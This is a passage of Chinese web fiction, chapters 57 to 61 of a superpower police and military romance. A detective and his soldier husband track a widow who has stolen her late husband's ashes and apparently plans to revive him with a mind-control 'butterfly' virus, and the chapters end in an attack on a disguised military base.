今天过去审讯室仔细瞧了瞧,也仍停留在“眼熟”的阶段。其实调查他并不难,如果真的跟柯帆妻子有任何联系,查出来也只是时间问题,他主要给孟队长来个带有可能性的预警。 “所以死者并不是被腰斩,而是他生前做了截肢手术。”季长岁举着手机,把咖啡杯扔进垃圾桶,“什么?高阶异能者?确定吗?一个高阶异能者即便是没有腿,也不至于……等下,是什么类型的异能者?” 同事答:“精神干扰……已经鉴定过了,三遍,很确定。” 季长岁沉默了良久才反应过来,跟同事说自己明白了,然后挂断了电话。他站在垃圾桶边上琢磨,精神类异能者几乎没有战斗力,他们是异能者里最特殊的,因为躯体无法承载那么过剩的精神力,所以精神类异能者甚至体能不如普通人,更虚也是有的。 譬如郭祁,她是目前公认的,精神力最强、且是唯一能够进行精神控制的异能者,她的身体状况非常差,几乎没有血色的皮肤和一头白发。而精神干扰虽然不比精神控制那么孱弱,但如果是高阶,那么也好不到哪儿去。 估计一个普通壮汉一拳下去他能昏半天,更何况是没有下肢的…… “欸?”季长岁手机捏在手里响了一遍没接到,他刚刚发呆太入神,赶紧拨回去。 “你跟谁打电话呢……”周观逸在电话里幽幽问,“我发了3条微信你不回,给你打电话你不接。” 季长岁咬了一下嘴唇才没让自己笑出声来:“忙着呢宝贝,你之前不也挺忙。” 周观逸那边有直升机螺旋桨的噪音,不过比较遥远,不算吵,他答道:“嗯,刚收工,昨晚上到琯城这边收缴一批违禁品。” 到今天,是他们从昶州分别后的一个月。夏日暑气已经冒着白烟,一个月来每天只要有空就聊一会儿,聊聊最近的工作和假期计划。 由于一系列堪比不可抗力的原因,他们的婚假迟迟没能休下来,两边都没办法。周观逸在边走路边说话,微喘,和第一次听他说话的声音一样,很抓耳。周观逸说:“我下午没事儿了,等下回公寓的路上去买点食材,试一下新的菜谱。” “你跟着视频学吧,菜谱书不适合你。”季长岁哭笑不得。 “……”周观逸那边静了一下,“我已经有所成就了,只不过你没吃到。” “好。”季长岁点头,“下次做给我吃,看你进步怎么样。” “下周可以吗?”周观逸问,他问出来的时候有风声从手机听筒钻到季长岁的耳朵里,“我下周应该没事了,准备再申请一下婚假。” 季长岁想了想,今天才刚刚礼拜二,到下周还有个五天,他下周一申请,等审批怎么也要等上个两三天。于是应下了:“好,我下周应该可以。” 周观逸很明显的语调都扬起来了:“好,我先挂了,现在回总军区,到了我给你发微信。” “嗯。” 不妙的是这边电话刚刚挂断,一个警员飞奔过来喊他:“季警官!” “说。”季长岁揣上手机。 “法医那边又补上来一份材料……”警员从怀里递过来一个信封,“没有电子档,要求我即刻交给你,并且……阅后即焚。” 季长岁蹙眉,接过来。 这是一封由结界异能者处理过的信件,识别到季长岁是收件人本人后,覆盖在封口处的青色异能光满满淡去直至消失。 小警员交给他后便扭头走开了。市局大楼的走廊此时空无一人,绿色植物的叶子搭在阳光里,玻璃窗擦得透亮。 季长岁拆开信封,将里面的报告取出来、展开。 为了不留痕迹,这是一封手写报告,非常简洁而短小: 死者名叫唐羽襄,其dnA检测显示与唐枯木存在生物学关系。 事关重大,请季警官向领导转达此事,接下来是否秘密调查。 法医那边先通知了季长岁,目的是先将其掩盖下来,拖延一下刑侦队孟队长,将其移交至市局的异能者分部,还是将唐枯木的来龙去脉告知孟队长,由刑侦继续调查。 这点季长岁能够理解,他攥着这张纸,一时间有些踟蹰。 因为他的顾虑跟孟队长一样,很不希望这件事情会牵扯到柯帆的妻子。或者说,他的前师娘,毕竟柯帆走了这么多年,谁都不希望去叨扰她的生活。 微信上又跳出来周观逸的消息,他从直升机里拍的碧蓝碧蓝的天空。 季长岁叹气,回复他:“想你了。” 第58章 第58章敛骨吹魂 周观逸从没觉得一个月会是这么漫长又折磨,甚至前两年在雨淋埋伏抓捕军火走私贩也没觉得一个月居然这么久——有足足30天! 总军区在这一个月里分析并完成了周观逸从昶州带回的“蝴蝶”病毒,上个月在昶州的实验室里,他们初步判定这是一种生物病毒。总军区的实验室继续研究后得出结论,“蝴蝶”的化学成分中含有一种刺激人脑阿片受体的物质。军区认为,这类于芬太尼效果相似的物质,它在病毒中的主要作用是制造欣快感,同时它需要去压制另一种堪比癌症晚期的痛苦——也就是“死而复生”最关键的部分。 针对此病毒的最后一次周观逸权限内的会议上,他得知,以拆解结果来看,“蝴蝶”病毒中含有精神控制异能,并且是活性元素。 而目前已知的,世界上唯一一个精神控制异能者是郭祁,她被24小时监管,尽管可能性很低,但总军区还是对监管小队发去了一份说明,要求与郭祁做异能比对。 事情的结果大部分人都能猜到,以异能活性元素的生存时间来看,那就不可能是郭祁的。不过事有万一,须绝对谨慎。 郭祁的监管小组回复了信息,表示他们可以前往总军区,但路途遥远,且郭祁的身体状况比较特殊,只能走陆路。他们在距离总军区将近三千公里外的一处异能者管理基地,郭祁的身体支撑不了一气呵成的长途跋涉,他们更希望总军区派人过来取样。 这个诉求总军区接受并开始筹备实施计划,也就是今天,周观逸清剿违禁品后返回总军区的这天,他刚在电脑上检查婚假申请有没有错别字什么的……就收到了一封内部邮件。 “哎……”季长岁叹气,拿着手机,“那毕竟是郭祁,叫你过去取样也能理解。没事,我这边三五天估计也解决不了。” 夏夜里,桃榔市局警官宿舍阳台上,季长岁抬头看看不算亮的寥寥几颗星。 手机另一边,周观逸的糖果在嘴巴里换了一遍,硬糖擦过牙齿的声音让季长岁笑了下。周观逸委屈:“你还笑呢?” “那怎么办啊,我哭给你听?”季长岁转了个身背靠在栏杆上,“长官,大局为重,乖啊。” “那我要视频。”周观逸说。 “好好。” 周观逸这个恋爱状态属实是季长岁没想到的,主要是他进入状态实在是太彻底,甚至速度有点可怕,以至于季长岁都怀疑他是不是演上了。视频那边,周观逸的军官宿舍里布置得很温馨,季长岁看见了一个很具有家庭意义的东西,他在空调上边盖了个防尘布。 “那玩意我已经二十年没见过了。”季长岁朝手机画面抬了抬下巴,“周观逸你别是骗我的吧你27岁还是37岁啊?” “什么?”周观逸回头,知道了他在说什么,于是笑笑,“那是刚搬进来的时候大嫂给我的,程上将的太太。我万一真是37岁呢?你怎么办啊老公?比你大7岁了。” “37长成这样这身材也行。”季长岁点点头。 总之近期是见不着面了。 季长岁听他说要去给郭祁采样,向南行三千多公里,问他:“那边有军用机场吗?” “有一个,就在附近,但回来要开车回。”周观逸拿着手机坐去沙发上,“虽然概率很小,但还是要防止遭到空中打击,所以带有精神控制异能样品的箱子不能飞行,而且战斗机的舱位也放不下异能活性储存箱那么大的东西。” 季长岁点点头:“明白了。但……实际上意义不大,你不觉得吗,不可能是郭祁,不过必须要排除掉她,我也理解,这是流程的一部分。” 周观逸说是啊。 接下来是一小阵子的沉默。因为这样一来大家都知道目前婚假是不太可能实现了,起码周观逸那边不行。去到南方找郭祁是一天,从那边三千多公里返程将东西带回总军区,不眠不休地赶路算作一天半,回到军区样本归档后必然要开会核实以及等待后续是否有连带工作。 “她在哪里来着?”季长岁问。 “洼州。”周观逸答,“那边的军事基地,她有个引导任务。” “挺远。”季长岁看着屏幕里前置摄像头下的周观逸,所以说人长得好看就是这么无所畏惧,什么原相机单一光源,根本不在乎。 季长岁笑了笑。 第二天,桃榔市这些天总是晴一会儿雨一会儿。 乌云飘过来哗哗下它个三十分钟,紧接着太阳开始暴晒,地上雨点子还没给晒干,就又随心所欲地开始无规律降雨。 季长岁进电梯,拍拍警帽上的雨水,电梯门再一开,外边恰好是杨局长。 “杨局。” “哎。”杨局走进来,夹着一沓文件,看看他,“出问题了,你等下放了东西来我办公室。” “行。” 季长岁把手里的平板电脑电容笔和文件什么的放回办公室,便给周观逸留言说自己去开会了边往外走。 走廊玻璃窗上挂着一条条水痕,外边又开始下雨。电梯下去了,他走楼梯上楼,刚走到杨局那层,这才到楼梯间,就听见里面破口大骂。 先是一串脏话,紧接着拍桌、踹椅子。季长岁愣了愣,不晓得是怎么了。片刻后,从杨局办公室里出来两个警官,季长岁迎上去问:“怎么发那么大火?” 其中一个解释:“别提了,不知道是有人给通风报信,还是说赵砚白在咱们局里有眼线,她跑了。” “师……”季长岁因为震惊而磕巴了一下,没把“师娘”两个字叫全,咽了回去,“她…跑了?!” “是啊。”另一个警官叹气,“赵砚白……你说怎么会这样呢,怎么会跟柯警官他妻子扯上关系呢。怎么会呢?!” 季长岁在这个瞬间冒出了一个非常可怕的念头,他攥着这个念头去推开杨局长的门。后者在办公室里黑着脸踱步,见他进来,指了下门,季长岁会意,侧身关门,直接问到一个最为致命的问题:“跟着赵砚白一起消失的还有什么?” 杨局长额角跳了下,他说:“柯帆的骨灰。” “所有吗?” 目前,大部分殡仪馆火化后,给家属的骨灰只是装满家属递过去的那个骨灰盒。赵砚白知道这件事,当时索要了柯帆的全部骨灰。这个要求当时桃榔市局给了她一些帮助和支持,后来过了很久,杨局才知道,柯帆下葬那天,骨灰盒里装的是一些石头。 赵砚白一直将那些骨灰存放在家里。 自然,这件事被杨局得知的时候他并没有什么其他方向的猜测,也没有质问。毕竟柯帆过世那年,她和柯帆的女儿还不到四岁。他们本该是个甜蜜幸福的小家庭,小朋友就那样傻傻地抱着她父亲的警帽,懵然又害怕地看着那黑压压的一群人,偏不见她爸爸。 所以骨灰放在家里就放在家里吧。 “所以,从那个时候,赵砚白就做好了今天的准备。”季长岁感觉自己呼吸不畅,“她……带去哪里了?” “我不知道,我们要现在立刻开始追捕。”杨局按着桌子,他看起来没比季长岁好到哪里去,“你去追,无论如何不能让这种事情发生在……政务组织人员中,那活过来的不是人,明白吗季长岁?” “明白。”季长岁恍惚地点头,“我……不对,我现在去查,她家附近的路面治安监控,交通摄镜头……” 明明是基础的抓捕调查,季长岁脑子居然迟滞了:“不不不,可以直接追踪她的车……她带着骨灰的话应该是开的suv,我现在去……” “要快。”杨局说。 “明白。” 季长岁和赵砚白接触的并不多,柯帆跟她恋爱的时候,有几次,柯帆让季长岁喊她师娘。当时赵砚白二十出头,不知是不是真的生气,警告季长岁,还没结婚,不准叫她师娘。 后来他们结婚了,季长岁松了一口气。因为赵砚白不准他叫师娘,但柯帆又撺掇他叫,季长岁左右为难了很久。直到他们终于结婚,季长岁才从困境中解脱出来。 印象中的赵砚白已经很模糊了,他只记得那是个长相端正,性格爽快的大姐姐。 结果一转头,他看着视频里银灰色休旅车开走的下一个画面被很明显地替换掉了内容,看来赵砚白走得仓促,没能找到平时这辆车离开附近的相似画面替换去监控上。 季长岁揉了揉太阳穴,转了下椅子:“叫几个机械异能者过来辅助我,麻烦了。” “明白。”监控室的另一个警员站起来。 还原监控这件事他可以自己来,但是时间紧迫,并且他相信如果赵砚白替换掉监控画面,那么她也一定能想到自己会还原。她希望拖延时间,所以季长岁必须把机械异能者都叫来,把她家附近的所有监控一帧帧全部还原,来找她去了哪儿。 这边忙着,周观逸的几条微信都石沉大海。他坐上飞机向洼州方向,此行带上了一个作战小队,周观逸扣上安全带,回头看了眼同事们。 飞机准备推出,他看了眼舷窗外面,莫名地有些心慌。 “数据太多了,季警官。”几个机械异能者满头大汗。 “有大致方向吗?” “向南去了。” 季长岁离开监控室,摸了一把腰带上的枪,抽出来枪弹结合,打电话给杨局长。 杨局长那边立刻接起来:“有线索吗?” “她开车向南去了,我有个您听起来可能有点荒谬的猜测。” “现在已经没什么比她打算复活柯帆更荒谬的事情了。”杨局长说。 季长岁下楼梯,说:“如果说她真的打算利用希拉斯的蝴蝶病毒来复活柯老师,她必定知道那是需要死者刚刚死亡,神经还残留着反射的时候,被精神控制异能强行拉起来。但柯老师已经是骨灰了,所以……她需要非常、非常强的‘蝴蝶病毒’,既然酒吧冰柜里那个死掉的精神异能者已经被我们发现,那么她很有可能去找那个活着的,并且精神力更强的异能者。” “郭祁。”杨局长几乎是脱口而出这个答案。 “对。”季长岁说,“郭祁在洼州。” “她简直是疯了。”杨局长咬着后槽牙,“去把她追回来,她到底杀了多少精神异能者……她真的疯了,起死回生这种事情本来就够荒诞,她还要复活一堆骨灰!!” “敛骨吹魂……”季长岁真不敢相信这四个字会从自己嘴里说出来,“我现在去拿枪,然后通知孟队长。” 季长岁挂断电话跑向市局军械库。 一打开门,“嘭”一声吓了他一跳。军械库的小伙子对发生了什么事浑然不知,笑嘻嘻地跟他打招呼:“季警官!看,今天早上收到的从总军区寄来送给您的包裹!” “……什么?”季长岁有点懵。 “快打开快打开!”小伙子非常期待,“听说是周长官送给您的,是枪械,所以交到我们这里来。” 他三两下拆开盒子,里面躺着一把308口径的,做工漂亮到不行的高精狙。 季长岁忽然心情缓下来了很多。 第59章 第59章“什么特殊癖好。” 洼州地处国境西南端,与邻国接壤,互通一条铁路,铁路附近设有一个秘密军事防御基地,其外貌伪装成交警大队,实则那些警用涂装的车辆本质上还是军用装甲车。 从洼州东侧军用机场飞过来的直升机降落在基地靶场中央的空地,周观逸把覆面拉上来,贴着太阳膜的护目镜从后脑扣好,整理一下头盔,打开舱门。 直升机螺旋桨带起的风和噪音中周观逸从舱腹跳出来,略显臃肿的防弹衣没有给人一丁点累赘感,他身量很高,Alpha没有露出半寸皮肤,走在队伍最前面。战术腰带左右两侧各一把枪弹结合的□□,斜侧面两根满弹匣,挂有单兵急救包以及两枚榴弹。 斜背一把有“特战先锋”称号的hk416,同时右手手持着融合了步枪与机枪的革命性武器fg-42,左手拎着采样箱。 他身上的装备很重,在非作战状态下节约体能,步伐稍显晃动,如虎行似病。他走到军事基地负责人面前,因为两只手都忙着,没法子握手,所以直接开口:“总军区周观逸,您好。” “上午好,周长官。”对方向他敬礼,“请跟我来,您一个人。” 周观逸回头:“待命。” 队员原地等。 军事防御基地没有很高的建筑,楼层在三、四层居多,周观逸跟他走上三楼,这里从外表看起来平平无奇,甚至有些破败,外墙的漆斑驳脱落了些。 然而门打开,周观逸的护目镜膜能会过滤一部分射线,所以入眼的画面微微黯淡,门后是标准的灭菌净化空气空间,符合郭祁需求的供氧量以及恒湿恒温,甚至空气里持续着一些幽幽的、似有若无的山溪味道,很清冽。 周观逸刚迈步进去,监管组组长上前来,先跟他点头致意,在拿出一个便携的虹膜扫描仪。周观逸认得那个东西,他手里有两样东西,一个是空的异能活性采样箱,另一个是枪。他需要腾出一只手来摘下护目镜。 正当他犹豫着放下哪个东西时,看见郭祁坐在房间一侧,靠墙的单人沙发上。她垂着头,白发倾在两侧,看不清表情。和周观逸认知中的一样,虚弱无力,手边的茶几上搁着一杯放了很长的吸管的清水,目的是让她不必拿起杯子,扶着吸管就能喝到水。 周观逸选择放生物箱。 箱底触地的瞬间,周观逸同时后撤半步,右脚横移以维持下盘稳定。果然,屋里加上他一共四个人,另外三个齐齐拔枪,周观逸想都不想先一枪为敬——这些人不是监管小组,是有人顶替! 这里被接管了。 “嘭——!”一发子弹打在对面人肚子上,对方穿了防弹衣,被子弹冲击力冲地连连后退。瞬息之间情况处在一个极度不妙的情况,这意味着精神控制异能者被某个势力夺走了。然而接下来没有继续开枪,因为刚刚那一枪响,郭祁摔去了地上。 她像是没有自主支撑力的娃娃一样倒了下去。所有人忽然凝滞,即便是身体健康的普通人,在这样不够宽敞的室内空间里都会被枪声巨响吓得心率暴起一下,遑论本就憔悴的郭祁。 周观逸率先反应过来,一抹身,蓄力,枪托抡在中弹之人头部侧面。另外两个人同时收枪扑过来,1v3,周观逸弓腰摇闪、步枪作棍,下身岿然不动,侧身捞一人手臂过肩摔!周观逸的过肩摔是把人往地上砸。 “咣!!” 趴在地上的郭祁无助地捂着耳朵,她受不了这么强的带有震感的声音,就像有人无法在酒席里坐在音响旁边。 但周观逸不晓得这些,他继续连续砸击地上这个,出拳速度打出残影。紧接着,眼疾手快,起身截另一人手臂、掰,“咔”一声伴随其惨叫,周观逸一折身,右手枪在手中如挽花刀般,枪托向前、又一砸。 还没完,拽着此人向前格挡——第三人手里有一把苗刀! 周观逸扔开面前的人,冲过去扣腕一个反拧,对方早有准备,他知道自己并不是周观逸的对手,这点从前面2分30秒他已经了然。 于是手腕被反拧苗刀落地的瞬间,那人又从腰侧掏出一把军刀。周观逸今天全副武装,军用阻燃防割的手套直接去抓住刀刃,上步、抹身躲背后爬起来人的袭击,一个极致漂亮的下劈腿!再夺刀刺颈,解决两人。 “别动了!”第一个穿防弹衣中了一弹的人不知何时挪到了郭祁旁边,一手抓着郭祁的脖子,另一只手拿刀指着她,“你再、再动,我杀了她!” 地上那个被刺颈的牢牢捂住脖子,另一个人爬过去从怀里哆嗦着掏止血贴。 周观逸看了看郭祁,她整个人像是白化病,眉毛、睫毛、头发都是白的。周观逸不太记得上一次见她时是不是这样子,或许眉毛没这么白?她最近可能消耗得太过严重。 那人的刀尖抵着郭祁喉咙:“你放下武器,解下战术腰带,否则我真的会杀了她。” 没有人能看见周观逸的表情,今天他是全覆面。他呼吸没有紊乱,这点程度的搏击对他来讲不算什么,于是在短暂地思维挣扎过后—— 周观逸以一个肉眼无法分辨的动作拔手枪,一枪击中其额头。 郭祁听见枪声的瞬间痛苦地闭上眼睛,拿刀抵她的人仰面后倒,军刀砸在地上“邦啷”弹了两下。郭祁随之跌在地上。 他低头看看地上失去战斗能力的两个人,决定先去把郭祁扶起来。然而郭祁此时不认得周观逸,因为他全覆面,在他刚迈步的那一刻,郭祁沙哑地尖叫了一下,在地板上缩起腿。 周观逸停下了,还是先出去吧,起码叫几个人进来。他猜测这个军事基地可能被人潜入,悄无声息地替换掉了郭祁的监管小组。他第一时间觉得不对劲,是因为郭祁的妹妹从来寸步不离,进来之后没有看见她妹妹。 正当他要走,刚侧身向门去时,那门从外面打开了。 周观逸手里仍握着枪,没在慌的。无论进来的是谁—— “……季长岁?”周观逸愣了。 一身板正的特警制服,冲进来的瞬间视线和枪同时抬起对着他,季长岁也停顿了下。旋即他放下枪,又低头看看地上的两个人,再向屋里看,瑟瑟发抖的郭祁和一具尸体。 季长岁换了个无奈的表情:“你要不是我老公我直接给你铐走了。” 周观逸插回去手枪,拉下覆面摘下护目镜,笑了笑:“我现在这样比较像反派是吗?” 季长岁走进来,身后跟了一队12人。他没回答反派不反派的问题,还有正事要处理:“都拖出去,叫两个疗愈异能者上来,去把郭祁周围的血擦一擦但是别碰到她,还有你,周长官,跟我出来一趟。” “不上手铐吗?” “什么特殊癖好。”季长岁瞪了他一眼,“出来给你说个正经事。” 第60章 第60章君子无罪怀璧其罪 一个小时前,季长岁和市局同事们在洼州最近的城市的机场降落。四十分钟前,他们得知总军区军官即将抵达军事防御基地。二十分钟前,被通知监管小组与异能者协会特殊管理部失联超过15分钟。 十分钟前,季长岁一行人进入军事防御基地。事发突然,他必须立刻确认郭祁的安危。 三十秒前,季长岁带人冲进郭祁所在的房间,他的Alpha丈夫是房间里所有人之中唯一一个自主站立的人,刀啊枪的一地都是。一屋子血腥味,周观逸全覆面,季长岁还是第一时间认出来了。 很快,疗愈系异能者跑上来了,听闻是郭祁受到了刺激,着急忙慌地冲进去。里头拖着两个人一具尸体下楼,季长岁把他带到走廊边上,许久没见,视线快速在周观逸身上扫了一遍:“受伤了吗?” “没有。”周观逸说。 他在等季长岁所说的“正经事”,结果季长岁在唇上亲了亲,很轻的那种,碰了两下。周观逸直接就笑了。 季长岁亲了他两口然后又看看他,确认他没缺胳膊也没少腿,说:“过来有任务,柯老师的妻子,赵砚白,有极大可能到这边来要杀郭祁……可能不是杀她这么极端,总之她需要高阶精神异能者的活性异能。” “怪不得。”周观逸说,“她的监管小队我记得能力很强,这次居然全军覆没了。” “无论如何她跟唐家有一定的联系,或许她此前和唐枯木有过接触,再间接或直接地去接触希拉斯……唉。”季长岁叹了口气。 周观逸听懂了,但有些不敢相信,问:“希拉斯?她也想要像唐枯木那样长生?还是说……她想要复活…谁?” 那个“谁”字在周观逸嘴里压了压,最后是用气音问出来的。 “对。”季长岁点头,“我老师。” “柯警官亡故都已经……” “所以需要更强的精神异能者。”季长岁朝着郭祁那扇门抬了抬下巴,“那就是现今世界上精神异能等级最高的异能者。” “那真的能做到吗?” “没人敢下定论。”季长岁说。 周观逸转头看看他,见他又靠近了一步,赶紧说:“别亲了,要干活了。” 季长岁无语地看他一眼,从他面前走过去,走向房间门。两个疗愈系异能者一人搀着郭祁的一条胳膊,带着她慢慢走了出来。 屋子里的血腥味和陌生人的气息让郭祁状态非常糟,紧张造成的心率不稳,以及一移动视线就眩晕,她必须去到更舒适轻松的环境里。 季长岁迎上去,询问:“之前发生了什么?原监管小组的人在哪里?是死了还是被带走了?” 郭祁的声音像是从喉咙里飘出来:“被抓走了,还有我妹妹,救救他们。” 季长岁还想再问问郭祁有没有记住那些人的特征,被一个疗愈异能者阻止了:“季警官,先等她稳定下来。” “哦,不好意思忘记了。” 周观逸走过来拍拍他:“别这么紧张,她没事就好,说明我们都及时赶到了。” 有警员拎着周观逸那个采样箱出来还给他。季长岁看了眼箱子,问:“采过样了吗?” “……”要不是人太多,周观逸真的很想弹他脑瓜崩,“我在里边一个打三个,一靠近郭祁她就害怕,我还采样?” “也对。”季长岁点头。 郭祁被转移到基地另一处人比较少的房间里后,军事基地开启紧急会议,所有观察者地毯式搜索。一堆人收拾带来的设备和装备,军事基地军械库的库存并不多,要留一部分人守在这里,以及一部分人保护郭祁。 会议厅墙上贴的是交通守则和文明执法,这个伪装成交警大队的建筑在会议结束后,墙壁沿着一道裂痕慢慢移开,里面的军火架缓缓移出来。 军事基地负责人肃声道:“我们一定要在洼州范围内解决他们。这是一起非常严重的事件,精神控制异能者不可以落去任何人、任何组织的手里。” 所有人严阵以待,等待观察者们的反馈。周观逸带着两队人呈扇形向外驻守在郭祁待着的那栋小楼外面,小楼背后是一片荒地,荒地那头高处电塔上,季长岁架一把□□高位狙击。 回到了他熟悉的位置,季长岁通过高倍镜观察着下方情况,同时驱动异能对枪械进行着微调。根据风速、气压、温度来调整狙击枪的各项数值。 耳机里,同事们每隔一段时间做交流汇报,一行人在这里守株待兔,另一波人在洼州搜查每一寸路面、每一缕空气。 终于,第二次值守轮岗交换时,北侧观察员汇报了信息,在洼州北郊发现了赵砚白的弃车。她可能是弃车后换车,也可能是有空间异能者带她瞬移离开。 “查车里的东西。”季长岁说。 “警官,车被清空过。”观察员说,“无人机飞过去检测不到任何东西,连气息都清理了。” 轮岗后,周观逸带人接着以军事基地为圆心,放射式搜救原监管小组。夜色渐渐爬上山尖,所有人都没想到赵砚白有如此能耐,她足够冷静理智,在短时间内做出相当果决的行动,一路从桃榔抵达这里。甚至她人还没到,就解决了世界上几乎没有人能抗衡的监管小组——他们从监管郭祁至今,遭受过数不清的袭击,唯独这次失败了。 不过有一个巨大的优势在军警这边,郭祁本人就是最大的诱饵。 赵砚白绝对会到这里来。 搜救结果是一无所获,周观逸带人回到军事基地驻守点时,刚好有人给郭祁送饭进去。这些年郭祁过得跟囚犯没什么区别,送饭的人打开保温盒给他们检查,接受虹膜扫描和异能净化。全程,电塔高处的□□一直在瞄着他们,季长岁是个有十足耐心的猎手,这波人没问题,他就等下一波。 趴在电塔上就这样风吹日晒待到夜色披满天空之后稍微好受了那么一点点,季长岁一动不动,仿佛跟电塔融为一体。旁人看起来他这个状态非常之难受,下边沈浪悄悄问了下周观逸:“季警官都快十个小时了吧?” “嗯。”不能暴露狙击手的位置,所以周观逸没有向他那边看,只是说,“没事,他在那儿不会太难受。” 一般人不会太在乎这个元素,机械异能者待在大型机械设备上会比较舒服。只是对比在其他地方趴着埋伏一动不动,在机械设备上会更好些。 下一波人要进去郭祁那里了。这阵子,郭祁每况愈下,她每天都要接受高阶疗愈者的精神梳理。同样的流程放人进去,二十分钟后他们推门出来,无事发生,郭祁已经睡下了。 其中一个疗愈者临走前问周观逸:“还没找到她妹妹吗?” “还没有。” “要尽快。”疗愈者说,“她很担心妹妹,她们从没有分开这么久过,这对她的恢复非常不利。” “好的。”周观逸说。 说是这么说,洼州说大也不算大,加上军方的观察员,这十个小时里连街头巷尾的流浪猫翻哪个垃圾桶都看明白了也没找到原监管小组的人。 赵砚白能把人藏在哪儿,而且不是一两个人。整组跟随6人,都是高阶异能者,1个小姑娘。 “周观逸。” 忽然,通讯器里传来季长岁的声音,他马上回复:“在,你说。” “听见什么声音了吗?”季长岁问。 “什么?”周观逸这个问句没有问在通讯器里,算是自言自语,旋即他蹙眉,细细听了听附近的动静。一时半刻没有什么特殊的声音,季长岁所处的位置更高,并且在军事基地外,以高阶异能者的感官范围如果他那边是依稀能听见,那么周观逸这里还真未必。 于是片刻后,周观逸回答他:“我这里没有,你听见什么了吗?” “很远。”季长岁说,“但也…不是那么远,你记得马戏团里的那些音乐吗?” “记得。” “很像。”季长岁说,“在移动,向这边靠近。” 约莫四十秒,也可能是一分钟,周观逸恍然听见了:“1号帐篷的魔术表演。” 季长岁在电塔上挪了个方向,高倍镜的夜视功能中,一顶硕大的深紫色帐篷在马车上,那甚至只是个从旋转木马上折下来的三匹玩具马拉着的车,就那样堂而皇之、昂首挺胸地向军事基地靠近。 而高倍镜中,季长岁可以清晰地看见,帐篷顶端坐着一个女孩儿。她看起来二十出头,手脚并用地抱着帐篷顶的那根金属装饰物,很怕自己滑下去。 季长岁明白了,那是赵砚白的人质。 刹那间,所有人的通讯器里都被观察员同步汇报这一画面。周观逸听完,当即下令:“所有人待命!” 季长岁也在待命。 周观逸回头看向郭祁的房间——郭祁也是高阶异能者,即便身体再孱弱,她也能够听见人们通讯器里的内容。 “把她关好。”周观逸话音刚落,那扇门被打开了。 郭祁双眼露着煞气一般的异能光。精神控制异能者从理论上来说没有攻击力,但她可以控制别人,这就是最强的攻击力。 郭祁颤抖着声音:“我要去……救她……” “所有人退后,不要被她碰到。”周观逸说,说完,他枪口垂着,所有人半包围式面对郭祁向后退,周观逸站到她近处。 周观逸盯着她,说:“这是陷阱,郭祁,你先冷静下来,我们有能力救下你妹妹,你要……” 在强烈的情绪冲击下,郭祁爆发出一种难以解释的力量,在此前她甚至还是个会被枪声吓得跌去地上的虚弱之人。 那纤瘦的躯体环绕着异能光,让周观逸没想到,她的精神力强大到肉眼可能的异能光一缕缕如水母触须在慢慢伸向人群!和净化异能一样,必须异能者和目标有直接接触才能行得通,但被外释放的异能触碰,也是同样的结果。 周观逸知道自己绝不能被精神控制。于是他对着郭祁的脑袋举起枪,按下通话器:“季长岁预瞄。郭祁,收回你的异能,你明白的,我有权在特殊情况下处决你。” “我这辈子……”郭祁垂泪说道,“不是一直在被处决么?” 周观逸沉默了片刻,依然举着枪:“我们每个人都身不由己,请您体谅。” “郭祁我知道你听得见。”季长岁在通讯器里说,“我们会在一小时内营救你妹妹,以及,感谢您一直以来对异能者群体的付出,我知道这句话是句屁话,虽然很不讲人情,但君子无罪怀璧其罪,你是唯一的精神控制者,所有人都没得选。” “一小时,能做到吗?周长官。”季长岁停顿了下,又说。 “好的。”周观逸放下枪,“季警官,收到。” 60-66 第61章 第61章迪士尼现在都不提倡跟一…… 一个小时。 周观逸的手枪插回枪套,换上步枪抱前:“沈浪一组留守,其他人跟我走。” 说实话一个小时能不能搞定,他不敢保证。敌方什么战力都没搞清楚,季长岁说了他就应了。今夜没月亮,军事基地的探照灯像黑暗无尽海面上的灯塔。季长岁依然高位狙击。只是不趴那儿了,屈膝坐抱枪。 5辆军用装甲车驶离军事基地,这里是一片毫无生机的荒野戈壁,不知从何时起寸草不生。 庞大的军车如夜航的一队船,在目视距离里,周观逸站在车顶。风卷着砂砾扫射车身,他两侧各三台破甲火箭筒,这辆车行驶在最前方,另外四台呈“人”型跟在两侧偏后。 顶着乱流一样的旷野的风,周观逸护目镜里的一双眼睛冷冷向前望着。 “进入射程!”警员汇报。 “等。”周观逸说。 上方直升机观察员还没给反馈,首先目的是营救郭祁的妹妹,她就暴露在最外面,没有任何安全设备。 “目视目标!”警员再次汇报。 “等。” 郭祁的妹妹眼看着逐渐脱力,马车是颠簸着向前,她随时会跌下去。周观逸的想法很简单,直升机靠近,异能者系着安全绳垂下来,直接把她救进直升机。 然而率先发现问题的是高狙位的季长岁:“等等……好像不是真人。” “谁不是真人?”周观逸问。 “……”季长岁没有立刻回答,因为军方的异能者已经绑着安全绳从直升机跳了出来。那么很快就能知道自己的判断是不是正确…… 下一刻,通讯器里传来不妙的回答:“是仿真投影!!” 坏了。季长岁收枪背上,唤醒通讯器:“周观逸,清剿帐篷。” “明白。” 他们刚说完,忽然小半个帐篷顶被掀飞,那个仿真投影消失在空气里后,直升机安全绳上的警员被一条不似人类的肢体猛地拉进去,连带着直升机骤降了一节。 季长岁眼疾手快,精准打过去一枪! “轰”地一声破空而去,让人霎时间分不清这是子弹还是榴弹。 那根骇人的绿色肢体被巴雷-特直接打断,飞行员迅速拉升高度,同时里面有人收回安全绳,但季长岁清楚地看见了,断肢仍缠在那名军人身上。但现在管不了那个。 季长岁折身从电塔上直接顺着钢锻建材往下滑,他其实很紧张,在事情失去控制的时候会紧张且暴躁。电塔下面停着他的警用摩托,季长岁跳上去启动,回头看了一眼帐篷方向,夜间交火的画面像是卖炮仗的摊子被谁给点了。 他骑摩托朝着基地去,油门拧到最底。 “北侧被入侵!”通讯器里有人汇报。 “西侧有个……啊靠啊!好大的蛇!” 季长岁就在西边的小门,他正想着怎么自己没看见什么好大的蛇时,忽然发现自己视野非常暗,起初他没在意,只觉得是夜深了,但立刻反应过来,理应有基地的军用探照灯…… 终于,他意识到面前那并不是一堵墙时,他喉结做了个吞咽的动作,再顺着这漆黑的“墙”向上看……终于,视线上移到他感觉颈部有绷感,终于看见了一条暗红色的,像是哪个商场的红毯飘在空中,是这巨蟒的信子。 季长岁翻身下车,巴雷-特仿佛应其异能的召唤而转来面前,季长岁端枪、右脚后撤半步抵在地面—— 砰砰砰砰!! 他手里这架素有“重狙之王”雅称的巴雷-特有连续射击能力,超大口径弹药对轻型坦克以及装甲车有打击能力,血肉之躯更是直接打碎都不夸张! 